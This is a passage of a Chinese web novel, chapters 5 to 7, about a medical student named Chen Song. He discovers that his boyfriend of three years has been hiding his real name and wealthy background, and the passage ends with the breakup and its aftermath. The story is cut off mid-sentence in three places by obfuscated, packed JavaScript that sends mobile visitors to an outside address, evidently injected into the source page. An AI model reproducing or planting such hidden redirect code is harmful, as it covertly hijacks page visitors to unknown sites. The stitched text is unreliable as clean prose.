“顾墨……”陈颂嘴角抽搐着很牵强的笑,为的就是不让他眼角不断滑下的泪,看上去没那么狼狈,“为什么你打电话我都会接,可我打电话你很少接呢?” “这次是你心情好了,打给我,我接了。”他声线颤抖着,“要是你没打给我呢?” “顾墨……我没家了。我什么都没有,我只有你啊。” 顾墨一怔,呼吸有些难受,莫名看不得陈颂这样。 他那天见到陈颂的时候,陈颂正在不断扯自己的头发,一副死活听不到别人讲话的模样。 像个怪物。 可这个没家的怪物和他一样。 对啊,要是他没给陈颂打这个电话怎么办呢?谁会帮他处理这些事? “好了好了。”顾墨把他拉入怀里,哑着嗓子安慰道,“是我的错了。以后会接你电话的。” “你有家的,我们一起回去,”顾墨吻去他眼角的泪痕,像祈求神明一样,希望原来那个陈颂回来,“别哭了好吗,你哭得我……难受。” 陈颂对顾墨除了感谢,还有深深的依赖。 后来陈颂问起顾墨哪里来这么多钱帮他处理父亲的丧事,以及飞机票钱。 顾墨说自己欠的债早还完了。肯定是有点存款。他父亲的丧事不是他办的,是他妈。自己只负责留在医院照顾发烧昏迷不醒的他。 自那以后很长一段时间,顾墨对陈颂有求必应,电话会接。 两人的关系更近了一步,可以说有些甜蜜。 顾墨会骑摩托带他跑山看日出,会带他去看海。 可陈颂知道,顾墨是个追求新鲜感的人。他不可能一直保持这样。 缠绵三个月后,二人关系又趋于平淡,顾墨电话也渐渐不接。 陈颂一开始还会闹,顾墨也还会认真哄哄。可顾墨还是不改,陈颂就再也不闹了。 他又做回很早以前那个懂事,听话的陈颂,因为没人再宠着他了。 可这次,陈颂无法再给自己留余地,留后路,等着他不爱顾墨后,潇洒离去。 因为他早就深深陷在那个父亲去世的夏天,顾墨出现在他的眼前。 ── 陈颂是在餐桌前醒来的,天刚刚亮。才早上六点多,昨晚不知道什么时候睡着的。睡眠质量越来越不好,现在头疼得厉害,也睡不着了。 陈颂把桌上的菜都倒了,洗了碗后回到房间躺着。时间还早,今天只有下午有课,他想让自己不再想顾墨的事,于是把注意力放在学业上。 陈颂上网查了若阳集团的相关信息,还搜了一下老班口中的大少爷。 目前若阳集团的首席领导者是云澈,是云家的二少爷,网上有关他的照片和信息还是比较全面的。 云澈在网络上的照片说是娱乐圈出来的大明星都不为过。一副俨然正经的样子散发出令人畏惧的气场。 陈颂见过最好看的人是顾墨,这人虽然与顾墨气质截然不同,气场却丝毫不输顾墨。 网上对于他的介绍无非就是年纪轻轻就掌权,如何聪明绝顶,天赋异禀。 而这并非陈颂要调查的对象。他想查的是大少爷。 可网上根本搜不到大少爷任何相关信息。只有在云澈人际关系一栏有写着──哥哥:云景笙 点进云景笙的资料里,什么也没有,只有一句话概括,云澈哥哥。 陈颂本来还想着调查到云景笙的一些资料,了解一下性格如何,免得惹怒对方。 陈颂在心底叹了口气,不知如何是好也只能硬着头皮上了。 接下来的日子一切照常,陈颂也迎来了和云景笙的第一次见面。 老班打电话叫他去校门口接云景笙的时候,陈颂正在学生会开会。 陈颂当初参加学生会是想加学分好拿奖学金,结果部长换任时都推选他,他被几个部长轮番上阵劝说,当上了学生会会长。 陈颂本来就寡言少语,如何担此重任,老师和部长会长们却很看好他。他只好硬着头皮上了,能更好拿奖学金也不算坏事吧。 这天接到老班的电话就马上让副会长代替继续,自己匆匆忙忙跑去校门口接人。 会议室离校门口有一千米远,他几乎是狂奔过去的。 深秋的枫叶红了一地,身着一袭格子大衣的男人立在校门口边的大树旁。他里面穿着黑色高领毛衣配黑色西裤,皮鞋程亮。 他双手插兜,微低的目光落在地上,无与伦比的侧脸令人为之惊叹。 秋风徐徐他微卷的黑发,浑身上下散发着成熟男人的魅力。 陈颂喘着气双手撑在大腿上,脸上泛着剧烈运动后的红:“抱歉……云教授让您久等了。” 云景笙温和地笑着:“不会。辛苦你来接我了。听说你们学校很大,所以你来给我指路吧。我开车。” 陈颂点点头,跟着他上了车。云景笙递给他一瓶水:“慢慢来,我们不着急。” 云景笙说话语气柔和,和他整个人一样如沐春风的,让人不自觉都放松下来。 陈颂本以为云景笙是个很难搞,心思很细,藏着很多不为人知的秘密的人,所以才不敢让人知道。 可今日一见,完全颠覆了他的刻板印象,这人非常绅士沉稳,跟他说话就同哄小孩似的。 陈颂接过水:“谢谢。” 老班的办公室离校门口开车有六七分钟样子。把人安全送到后陈颂准备撤了,老班却拉着他说让他带云景笙到处逛逛,去看看教学环境和医疗设备。 陈颂当然无法拒绝。依照要求带云景笙逛着。 他话不多,都是云景笙主动挑起。他们二人在医学上有很多共同话题,云景笙告诉了他很多专业知识,他听得津津有味。 最后送别云景笙时,云景笙还提出了交换联系方式,方便学术探讨和这几日课程安排。 陈颂平时是个话少的人,只有在学术探讨少难得讲得多了些。 二人在谈话过程中,云景笙是个提问者,聆听者,建议者。没有一本正经端着,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379772|184099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有因阶级不同而矜骄自傲,陈颂与他相处很融洽。 云景笙更像一位沉稳博学的师者,耐心地教导他,循循善诱。 云景笙此次从临市前来,要在学校附近待一个月左右,讲座每周两次,都和陈颂交接。此外,陈颂还给他介绍附近的景点和好吃的饭店。 很快,陈颂就迎来了云景笙作为讲师的第一堂课。云景笙在进教室前,就因外貌在整个学院里掀起轩然大波。 但无人知晓他是若阳的大少爷,只有他和老班知道。 陈颂总觉得老班也不是个普通背景的老头,但他也着实想不明白,为什么会把这件事告诉自己。 陈颂不是爱讲闲话的人,所以他闭口不谈。他平时在学校一副孤僻冷淡的模样,女生也很少敢上来搭话,这次破天荒地来了几个问云景笙的来头,他也只是一板一眼地说云教授是若阳的人。 平时寥寥数人的阶梯教室塞满了人,有几个别的学院专业的学生还偷偷混进来,要一睹云景笙的帅颜。 云景笙刚进教室就受到了众人的欢迎,口哨气氛组不断。 云景笙上课时戴上了银丝眼睛,今日穿的一身深色大衣,围上黑色围巾,气质更加温润儒雅。陈颂觉得当真是陌上人如玉,公子世无双。 陈颂的脑海中忽然闪过在网络上看到的云景笙弟弟云澈的照片,觉得他们俩长得真是一点也不像,气质也截然不同。 云景笙拿着话筒向大家问好:“大家好,我是学院今年请来的骨科学研究专员,接下来每周会给大家上两次讲授课。很高兴认识大家。” 教室里想起热烈的掌声,有人一同喊道:“我们也很高兴认识你!” “好,接下来我想请问几位同学来讲讲,你们学医的初心是什么。”云景笙轻轻笑了声,“都老实回答哦,不许撒谎。” 云景笙随机叫了几位学生,大家回答的很真实。有的说为了救人,有自己重视的人因病去世了,因此才萌生出学医的想法。有的说当医生稳定有钱赚,有的说爸妈叫他学的,有的说家里世代学医,自己也就理所当然了。 云景笙对大家的回答态度很满意,就在陈颂以为终于要跳过这个话题开始上课时,云景笙突然将话筒递到他面前问:“那这位同学呢?” “我很好奇,你为什么学医?” 陈颂尴尬一瞬,几乎是蹭一下站了起来,云景笙的话筒也缓缓递向他嘴前,满眼温柔的笑意安抚他别紧张。 陈颂看着云景笙,顿了片刻有些不好意思,头脑一热话脱口而出:“呃,因为我感兴趣。” 说实话,陈颂很不好意思说出来自己的答案,因为根本没什么稀奇甚至有些无聊和苍白。 陈颂坐在最后几排,他没想到云景笙会让他起来回答这个问题。 要是他知道云景笙要这么做,他势必要编出一个比这有深度点的理由。 云景笙微微挑眉,拍拍他的肩膀示意他坐下,然后转身走回讲台:“走访了这么多学校,听过这么多回答,还是第一次听到这么有趣的理由呢。” 陈颂呆滞了片刻,这有趣? “自古有三不孝,学医,读博,当兵。很多同学可能现在都在心里想,学医这么难,怎么会有人对学医感兴趣呢?这人怕不是神经病吧?”云景笙笑着回到讲台前。 讲台下响起几声附和:“就是嘛,谁家好人喜欢学医啊。” 陈颂脸紧绷得窘迫,他现在只想找个地洞钻下去。 然而,下一刻,他却听见云景笙认真又执着的声音响荡整个一千多人的教室。 云景笙收起了脸上的笑意,目光炽热地看向陈颂:“我也是这样的神经病。” 5. 对戒 云景笙的第一堂课很快结束了,老班安排院长和几个老师一起聚餐,还问了陈颂去不去。 陈颂拒绝了,说他今晚要去兼职,就不去了。 老班几番劝说,可惜陈颂这驴脑子都抓不住机会,只好骂骂咧咧地放人走。 陈颂为了维持生活,有空就去餐厅兼职后厨助理,通常从每周五晚上开始连着周末两天都去。 他对做饭很感兴趣,小时候总是羡慕人家小孩回家都能吃上热腾腾的家常菜。 既然没人给他做,他就自己去学。 就这样,在厨房虽然干得很累,但也学到不少东西。如果有一天他不学医了,就去做菜。 兼职回到家已经是深夜,陈颂洗漱过后疲惫地躺在床上。看着屋顶的灯,想起顾墨脖子上的银项链。 顾墨的那条银项链一直都戴着,是有硬币大小的粗圈环扣而成。 起初陈颂以为那只是件装饰品,但顾墨一直戴着估计是有一定寓意在里面的。 陈颂问过几次,但顾墨都没回答。 陈颂想的不是那条亮晃晃的银项链,而是顾墨。 距离上次二人分开已经半个多月没见,没有顾墨的消息和电话。 因为陈颂也没发,他知道顾墨不会回。 陈颂的指尖滑动通讯录,停留在很下面的一个“墨”字上,最后拨通了电话。 电话嘟了很久,就在他以为要被自动挂断时,对方接通了。 “喂。”男人沉冽的嗓音在电话里没有温度却还是很好听。 陈颂怔愣片刻道:“顾墨……” “嗯。什么事。” 陈颂捏着手机的指尖微微泛白,眼睛一眼不眨地看着屋顶的灯,想象那是顾墨的银项链:“下周四你生日,回家……过么?” 电话那头沉默着。 他们之间从没过过什么节日,原因是他们两个人都没这个习惯。 陈颂知道二人的关系好像云烟一样就要散去,他提出这个事没想过顾墨会同意,就像是他自己拼命徒手去抓住云烟一样,不过竹篮打水。 只是他舍不得,还在挽留。 “嗯,那我没什么事就先挂了。”陈颂语气里难掩失落。 电话那头还是沉默,陈颂也陷入了沉默,心里泛起密密麻麻的疼,疼得他呼吸有些困难起来。双方谁也不妥协似的,陷入一种压抑的气氛。 “拜拜。”陈颂说着,等了一会对面还是没有声音,放弃了挣扎,指尖在要触动挂断键时,对面叫住了他的名字。 “陈颂,”陈颂的心颤了颤,“我会回去的。” 陈颂一时欣喜,有些眼酸:“好。我等你。” 挂断电话后,陈颂如释重负下来。 他笑的很勉强,好在顾墨还没不要他。 接下来的几天,陈颂心情都还不错,冥思苦想,精心准备了一份礼物给顾墨。 周日那天陈颂没去兼职,专门去了一家网上很火的情侣diy钻戒店铺里,准备做一对钻戒。 其实他很早就刷到过这家店铺,一直想和顾墨来。在两个人感情还是很好的时候,陈颂提出来过,顾墨却说,两个大男人有什么好去的,还戴个戒指,像姑娘。 两个人之间的关系,谁都没曾说明白过。但陈颂这次想认认真真地表个白。 陈颂想告诉顾墨,其实自己很爱他,想跟他有个稳定的家,两个人一起过日子。 自己会做菜,会哄他,会照顾好他,会偏爱他。总之就是用对戒来表达自己对顾墨的承诺。 今天是周末,店里人很多,来的都是附近的大学情侣。 陈颂其实有些社恐,但还是硬着头皮跟店员说了自己的诉求,想做对戒。 店员给他介绍了几种款式,他有些选择困难症,最后挑了最好的材质,简约又大气的款式。 店员领着他入座时才问他:“就您一个人吗?” 陈颂有些窘迫地点点头。 店员笑着说:“那您的女朋友一定很幸福,受到这么一份惊喜。” 店员是一位女孩子,看着眼前的帅哥这么深情,眼里羡慕地闪着星星,压抑着想和朋友尖叫的兴奋。 旁边的几个情侣也纷纷看向陈颂,眼里皆是祝福。 陈颂有些不好意思,本还想反驳一下不是女朋友的,要是被顾墨知道估计要气死吧。但视线太多了,他只好笑笑:“希望他会喜欢吧。” 店员一边说着肯定会的,一边教他怎么做戒指的流程。 陈颂手很巧,无论是从打磨还是雕刻,他都做的很精细完美,让店员惊呼他的手怎么这么巧,女朋友真是有福了。 陈颂更不好意思了。不过这是实话,他平常练习的都是手术刀,加上他手本来就很巧,最后的成品非常好看,甚至比店里的样品都好。 “这个缩写gm的女孩子真的很幸福,她一定会喜欢的!”店员在旁边道。 陈颂选的款式是双环莫比乌斯戒指,象征着永恒的爱与承诺,承载着跨域时空的爱恋,提醒佩戴者珍惜眼前的人。 戒指外圈螺旋两旁纹着桔梗花的花纹,内圈篆刻着二人的缩写大写字母,中间用数学中无限循环的符号连接着。 陈颂看着戒指这么闪亮亮的躺在黑丝绒盒里,忙了一天的脸上才浮现出笑容。 “陈颂──!”他正准备走的时候,有人却叫住了他。 陈颂顿了顿,深深吸一口气,颇有些无奈。 女生笑嘻嘻地看着陈颂,她大老早就看到陈颂在做戒指了,非常想去搭话,可见人如此专注也不好意思打扰。 “会长大人,你什么时候谈的对象啊。是咱们学院的吗?还是你一个人过来,这么绝世好男人啊!” 女生是学生会文艺部里的部长叶佳佳,陈颂知道她是出了名的八卦姐。基本上她知道了,就等于全世界知道了。也是学生会里唯一不多敢跟他乱说话的人,平时没少开他玩笑。 陈颂拿她没办法:“你怎么在这。” 叶佳佳笑着说:“当然是,你来这干什么,我来这干什么咯。我对象在那呢。” 陈颂顺她目光看去,一个高个子男生正在专心打磨着戒指。 这个男的陈颂见过几面,是宣传部刚招进来的学弟。 学生会内是禁止谈恋爱的,要是叶佳佳想到处乱说,肯定不会出现在他面前吓他一大跳了,还当着他这个主席的面官宣,想必是有条件要谈。 陈颂收回目光:“你说吧,你想怎么样。” 叶佳佳笑嘻嘻地说:“今年学生会团建你必须来!” 陈颂眯起眼睛看她沉默片刻:“就这样?” 叶佳佳点点头:“我说,闷葫芦,咱们一帮人好歹共事三年,虽然他们跟你说话次数也不多,也没那么熟,但也得走个情怀吧。每年你都不去。” 陈颂若有所思:“好,我知道了。会去的。” 10月26日这天,陈颂的课很满。从早上八点一直到下午六点才结束。 他提前给顾墨发了消息,晚点回来。一下课就匆匆回了和顾墨的小家,和预算的时间差不多,他到家没一会,预定的蛋糕就到了。 是摩托车元素的巧克力冰激凌蛋糕,陈颂拿着顾墨摩托车的照片问了好几家店,才有一家能做的,价格也花了四百左右,好在做的很还原。 陈颂把蛋糕小心翼翼放进冰箱后,就去厨房忙进忙出,花了两个多小时才烧出一桌子法式西餐,又花了半小时布置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379773|184099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌面,点了小香薰,倒着了两杯果酒,一切准备就绪后他把整个家的灯全都关了。 只有餐桌前的香薰燃烧着温馨的光辉,陈颂坐在桌边满眼笑意的拍了几张照片。然后就等着顾墨回来。 这场面整的让陈颂不禁觉得好像电视剧里求婚的场面。 他既兴奋又紧张,这对他来说跟求婚没什么区别。 陈颂好几天就把想对顾墨的告白写在了日记本上。他现在正在反复背着,生怕自己哪句话又说漏了,意思又没传达到对,心脏跟着火焰一起砰砰砰砰跳着。 这不是他第一次表达爱意,却是第一次这么直白地,勇敢地,义无反顾地表达爱意。 他曾对父亲,母亲表现出担忧的爱意,可是都没得到回应,回复他的皆是冷漠,责骂。 所以,当他再次鼓起勇气去说爱,几乎是花费了全身所有的力气。 陈颂等到十二点,日历从10月26日变成了10月27日,顾墨还是没来。 他眼底的紧张雀跃,脸上的笑,一点一点,随着时针的流逝,被无尽的痛苦掩埋。 陈颂呼吸都跟着紊乱了,那股无法呼吸的感觉又一次袭来,手心发着麻。 在10月26日23点59分的时候,颤抖着手给顾墨发了一条消息: 生日快乐 顾墨说过会来的,他很少骗人。这次应该是出了什么事。 这么一想,他更担心了。可他对顾墨一无所知,偌大的京市,他无法找出第二个和顾墨有关系的人。他们彼此从来不介入对方的生活。 陈颂只有一次接触过顾墨的朋友,那是陈颂第一次坐顾墨机车后座。他的车友们都带着头盔,一群人像脱缰的野马驰骋山野。 他们一起看了日初,过程没说一句话,只有无尽的欢叫。 陈颂心里的荒凉遍布全身,他魔怔似的盯着手机,一遍一遍地拨通着顾墨的电话。 他像个机器人一样麻木地看着这精心准备的一切,内心好像被撕扯着。就像被无端地判为死刑,连句解释的机会都不给。 又是一夜没睡,陈颂觉得自己得病了,睡不着,得去开点安眠药吃。 第二天的课不多,但下午学生会忙着准备学生的答辩。 他作为管理者,也要穿着西装出门。板正的黑色西装显得他更加的疲惫。 部长几个刚走进讲堂就看见主席憔悴得脸色清白,都有些害怕。有人撺掇几个敢跟陈颂说话的去问问。 叶佳佳首当其冲,凑到他耳朵边问:“喂喂喂,不会吵架了吧。” 陈颂顿了下,手上翻资料的动作没停。 叶佳佳看着陈颂浓重的黑眼圈和一张原先让她白的嫉妒,现在却死白让人害怕的一张脸,皱眉道:“你没吃饭也没睡?” 陈颂还是没说话,睡觉他也想睡,可是根本睡不着。吃饭也强迫自己随便对付了几口,但是他真的没胃口。 “我嘞个老天奶啊,我的会长大人!我自认为您已经是天花板级别的男人了,还有您搞不定的女人啊?一定没有,有咱也把她踹了好吗?你赶紧去休息休息吧,这里先交给副会。你到时候真的出什么事,老师这边也难交代。”叶佳佳对旁边几个男部长使眼色,叫他们赶紧先拉他去休息,几个男部长收到指令,立刻向这边靠近了。 副会长带头道:“会长你先去休息一下,吃个饭。这里前半场我先盯着。以身体为重。” “是啊是啊。” 陈颂被劝得头疼,自己状态确实不对,今天答辩也是重要场合,出了事谁也承担不了后果。 他突然感觉到整个学生会还是有很多人关注他的存在的,最后也是依了他们,在隔壁教室休息,顺便吃点他们带的东西。 6. 顾行决 隔壁教室是学生会人员休息的地方,陈颂从后门进去的。走路很轻,在最后一排坐下。 前面一群闲聊人员根本没瞧见他,挤在一团看一台手机里的照片。 “我靠,真的很帅啊!你昨天见着他怎么没要个电话!” “我在当服务员啊,这么高级的饭店我进得去的?他们那个包厢里还有一个很帅的,还是个寸头,我没机会拍着。我只拍到的这个。还是他单独来的时候。” “这比我们会长大人还帅啊我去!” “那我不觉得诶,帅是帅,但我还是喜欢我们会长大人这个类型。” 陈颂从不参与女生的八卦,也不感兴趣,突然听到自己的名字还有些不适应。 此时不知什么时候他旁边走过一个人,悄无声息靠近那群女生,以顺雷不及掩耳之速抢走了手机。 “我倒要看看谁敢跟我们会长大人比美!” 一群小部员被突然到来的叶佳佳吓得立马安静,像群鹌鹑。 叶佳佳眯起眼睛,看清照片上的人后愣了愣:“你们在哪拍的这张照片?” 叶佳佳扫视一圈鹌鹑:“你们当中藏着富二代呢?他都能见着。” “说!”叶佳佳用手机指这他们,逼迫他们招供,“谁的大腿出来给我抱抱!” 短发部员连忙解释道:“部长,这是我在兼职的时候看见的啦。” 她伸着手想去拿回手机,叶佳佳却一个转身避开了:“真的假的?” 短发女生扑了个空:“真的啦,不然我怎么连他都不认识。我还想捞捞他是谁呢。” 叶佳佳觉得女生并未撒谎,这种高级酒店她也只有大场合去过几次,也是沾着亲戚家的光。短发女生长得是好看,去这种饭店当待应生确实过关。 “看样子你认识啊,部长?”另外一个女生说。 叶佳佳点点头:“认识啊,他是京市赫赫有名的顾行决啊。京市四大少的纨绔第一名,你们这些凡夫俗子听没听过。不知道的搜搜大眼睛。奉劝你们啊,别妄想他了,小心给人玩死。” 叶佳佳看着手机里的照片,走到陈颂旁边,把照片放到陈颂脸旁,眼神来回对比:“到底谁投顾行决更好看的?我就觉得咱们会长大人更好看诶~” 陈颂深吸一口气,不知该做如何表情。 听刚才叶佳佳介绍的这位少爷,富二代怎么跟他这种底层人士对比。 陈颂无奈揉揉太阳穴:“别开玩笑了。” 叶佳佳却急了,把照片横在陈颂眼前:“我说真的啊!不信你自己看看!我真不觉得……” 叶佳佳话还没说完,就见陈颂瞬间垮掉一张脸,他呼吸有些急促,眼眸在照片上来回流转,那眼神都要把照片盯出个洞来。 像是在反复确认一件不可挽回的事,眼里的红血丝几乎要跟紧绷的神经一起崩裂,下一秒就要流出眼泪来。 “怎么了?”叶佳佳脸上也没了笑意,“你也认识他?” 叶佳佳妈妈的妹妹是顾行决的后妈,所以她在家庭聚会见过一两次顾行决。 身上吊儿郎当的气质她就不喜欢。还听说他不少品行不端正的事情。 最让她印象深刻的是顾行决小时候差点害死了小姨的儿子,也就是顾行决同父异母的弟弟。 小姨明明对顾行决这么好,顾行决还一副全家欠他的样子,真是坏透了。 可能是带着偏见吧,但是叶佳佳打心里觉得陈颂比他好很多。 可陈颂一副欲哭无泪,十分诧异的样子让叶佳佳有种不祥的预感。 其他几个鹌鹑更是吓得不敢说话,他们这位会长大人,平时话就少,现在突然这样好像情绪崩溃的样子,让他们害怕得不行。 教室静的只有陈颂不断再深呼吸试图让自己冷静下来的声音。 他怎么可能会认错这照片上的人,照片里英俊的脸皮如此熟悉,一往如常的穿衣风格,黑色的皮夹克,脖子上挂着陈颂扯了日日夜夜的银项链。 半晌,陈颂才找回自己的声音:“你……说……他叫什么名字?” 他的声音很苍白。 叶佳佳回:“顾行决啊,你认识?京市那个商业巨鳄的顾家大少爷。” 叶佳佳说完,陈颂脸上彻底没了血色,她又自我怀疑地看看照片,没认错啊,穿的这么机车这么骚除了这货还有哪位? 陈颂胃突然绞痛得厉害,疼得他浑身起了一阵冷汗。 京市深秋的风从后门汩汩而来,冷冽冽地刮在他身上,让他徒然一颤。 叶佳佳看着人不对劲,上前道:“你没事吧。” 陈颂冷静地定定神,还是不死心地问了一个很可笑的问题:“那他……有没有什么双胞胎之类的,长得很像的兄弟?” 叶佳佳把顾家堂兄妹之类的全想了个遍:“没有,他只有个弟弟,长得完全不像,弟弟还在上高中呢。” 陈颂心里翻涌起各种复杂情绪好像快要爆炸了,质疑,愤怒,心寒,恶心。他有些想吐。 陈颂试着在这三年里找寻顾墨没骗自己的证据,但依旧有些蛛丝马迹串联在了一起。 比如他们住的房子,比如他有时忽然换了几辆新的摩托车。 顾墨是怎么说来着?说是朋友的? 关于陈颂父亲去世那天,顾墨的突然出现,北城距南城的机票很贵,不是普通人二话不说就买的。 二人有坐动车去附近的地方旅游过,顾墨说他没坐过,在检票时要用身份证扫票通过,顾墨没试过一不小心身份证掉在陈颂脚边,陈颂想帮他捡起来,顾墨却撞开他的手立马抢走。 陈颂其实有些好奇顾墨身份证上照片的,但顾墨死活不让他看,说是太丑了小时候没长开…… 啊,所以说,睡在他枕边三年的人,他撕心裂肺爱了三年的人,连个名字都是假的。 他有些不认识顾墨了,哦,不对,应该是叫他……顾行决吗。好陌生啊。 叶佳佳看着陈颂情绪越来越不对,直觉告诉她陈颂和顾行决肯定有仇。 叶佳佳看着陈颂满头大汗,有些着急:“陈颂,你要不要去医务室看看,你身体哪里不舒服啊?” 陈颂无力地点点头,双手微颤起身:“你帮我请假吧,我先回去了。你……” 他抬眸与叶佳佳对视一瞬,无神的双眸里逃窜着复杂的情绪,然后胃疼得偏过头去,咬牙道:“这边交给你们了。” 叶佳佳点头:“好好好,你赶紧回去休息休息,这边的事都交给我们吧。” 陈颂浑浑噩噩回了家,从储物柜上翻箱倒柜找出胃药,混着冷水胡乱吞下,过了很久他才缓过来。 夜色慢慢爬了上来,他看着眼前生活了三年的房子忽然觉得陌生。 陈颂清楚地记得那天顾墨交给他一把钥匙,清楚记得第一天搬进来时,他们二人从天亮做到天黑。最后趴在顾墨身上,心中升起无法言说的幸福。 一室一厅一卫一厨四十平的小房里起初还有些简陋,如今塞满了许多家具,温馨,充满回忆。 顾墨是假的话,这房子也是假的么? 此时此刻这间小房子忽然变得非常空大,四面的墙和家具一直在以扭曲的姿态越变越远。 这三年。陈颂的心被一只无形的手整个捏起放在山崖边上。 在看到照片的一瞬间,那只手松开了,整颗心狠狠地往下坠,强烈的失重感让他痛不欲生,全身发麻,呼吸困难。 这种感觉再一次以更浓烈的攻势袭来,世界上怎么会有这么多荒唐的事发生在自己身上。 他只是想当一个普通人啊。 不知过了多久,手机突然响起来,那个“墨”字格外刺眼。 陈颂头一次点了挂断。 他脑子很乱,不想听见顾墨的声音,他在逃避现实。 然而电话却不依不挠地响了起来,陈颂颤着手指点了接听。 “你敢挂我电话!”顾墨听起来很生气,见陈颂没说话,不耐道,“你又闹什么?陈颂?” 陈颂还是没说话,他不知道说些什么,他也无法说些什么。 心中有一万个疑问,可他寒透了的心,一时间不知道如何开口。 电话那头依旧没等到陈颂的回答,他莫名有些心慌,但一瞬即逝。 他承认,这次确实有些过分,食言了,答应好陈颂一起过生日却忘记了。回去好好哄哄就是了。 他也不是故意的,只是当了好几年兵的铁耙子回来了,一时高兴给人接风洗尘忘记了。 毕竟他压根没过生日这个习惯啊。 “陈颂,”顾墨放软了语气,“我等会就回家。我饿了,想吃糖醋排骨,你做好等我回来好不好。” 陈颂又沉默片刻,说了声:“好。” 顾墨到家的时候还是老样子,在门口按门铃按个不停。 这次陈颂没有很快来接他,吵得隔壁都出来骂了两句大半夜的谁啊。 最后顾墨准备要打电话了,陈颂才把门打开。 和顾墨想象中的不一样,陈颂开了门就转身进门了,一个眼神都没给他。 顾墨压着脾气,得哄哄,毕竟这次比较过分。 他跟着陈颂进了屋,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾行决心轻颤了片刻,心火更加旺盛起来:“你他妈就为这个要跟老子断了?!你他妈别犯病!” 陈颂无力争吵:“你走吧,我不想再看见你。” “这是我家!要滚也是你滚!”顾行决怒道。 陈颂立刻起身朝门口头也不回地离开。 顾行决脑门突突疼,这跟他想象中的不一样啊,哪里出问题了? 是个人知道他的身份,哪个不来舔的? 怎么就他妈陈颂跟看见个瘟神一样要躲。 “你给我站住!”顾行决大步上前抓住人的手,“陈颂!” 陈颂红着眼回头看他,浑身发颤的模样像只应激的野猫:“又怎么了?不是叫我滚么?” 看着陈颂的眼睛,顾行决读不懂那里面什么情绪,只是心里某个地方被狠狠揪了一下。 “你就非要这么跟我说话么,陈颂。” 陈颂语气终于有了波澜,他低声着:“没事就放开。” 顾行决不放:“有什么事我们好好说啊。” 陈颂一把甩开了他的手,手还有些发麻:“三年,三年的机会你都没说。要是这次我不知道,你打算什么时候说?再玩我个五年?七年?十年?十年够不够你玩了?” 陈颂顿了下,笑了起来,笑的比哭还难看:“哦,顾大少爷早就把我踹了,哪还能想起我这么一个人。” 平日温声细语的陈颂今天说出了最讽刺的话,听的顾行决不舒服,很不舒服。 但他又不能发火,只能把火气咬碎了吞下去:“我没玩你!一开始不是你自己觉得我他妈是个穷鬼么!” 陈颂心一抽一抽地疼:“所以呢?算我眼瞎?算我倒霉?哦,我一直很倒霉。三年了,你自己没张嘴不会解释么?” “你是不是觉得,我被你耍的团团转的样子好玩死了啊?” 顾行决没说话,他一开始确实觉得有点好玩,也觉得没有解释的必要。 他也很想看看等陈颂知道后,摇着尾巴巴结他的样子。时间久了他就更不想解释了,他觉得麻烦。 可陈颂居然说要跟他分手?!就因为这个?! 陈颂转头走了。 顾行决冲出门追他喊:“你出了这个门就不要再回来了!” 陈颂没停下。 顾行决看着陈颂决绝的背影,心中涌上一股莫名的焦虑驱动他追上去,他拉住陈颂的手:“陈颂,你听我说……” “够了。”陈颂奋力甩开,“我们无话可说不是么?连消息都不回的人有什么可说的?” 顾行决对于陈颂一次次甩开他的手这个行为很不满意:“你闹够了就回来。” 陈颂冷冷地说:“我不会回来了。” 顾行决目光沉了下去:“把你的垃圾都带走!” 陈颂还是被他的话刺痛着,可他说的云淡风轻:“扔了吧。我不要了” “都不要了。” 7. 住宿 陈颂几乎是逃似的离开了那个住了三年的地方。 他不知道要去哪里,也无处可去。 在这个偌大的京市,他唯一的栖息之所是顾墨给的。顾墨见过他最脆弱的样子,最坏的样子,唯一能依靠,能坦然相处的也只有顾墨。 可是顾墨是假的。 这怎么办。这怎么办才好啊?为什么这种事情会发生在我身上呢?为什么只要我一想要触及幸福,就会遭受到如此打击呢? 深夜的街道清冷,路旁枯黄的树在冷风中替他苦啸,为他悲鸣。 可无人能回应命运,只颓然抖落一地枯叶,满身悲凉。 陈颂单薄的背影被蜡黄的路灯淹没,行尸走肉般走在街道上,他实在倦了,但他知道今晚是睡不着的。 他甚至颓然地想,要是他没有发现这件事就好了,顾行决会一直骗着他。 这样,顾墨还是顾墨,他还有机会,有可能和顾墨在一起。 陈颂打车去了医院,他知道今晚是睡不着的。他想要安眠药。 医生检查后说:“依你现在的精神状态来看,我建议你去专门的私人心理医生治疗。你的睡眠长期不足,再这么下去会神经衰弱,甚至神经失常,很容易得精神疾病。” 陈颂说知道了,但他不会去的。他只是想要安眠药。 医生也如愿给他开了小剂量并叮嘱他不能依赖安眠药。 陈颂拿完药后随便找了家价格便宜的旅馆凑合。他实在睡不着,吞了几片随身携带的安眠药后,他异常清醒了片刻。 他理智说要搬回宿舍,他要远离顾行决…… 渐渐地意识模糊了,在药效下他沉沉睡去…… 陈颂是被旅馆的电话吵醒的,旅馆提醒他再不退房就要加钱。 陈颂续费了三个晚上的钱,他很庆幸自己靠兼职和奖学金攒下不少钱,以至于离开时不会那么狼狈。 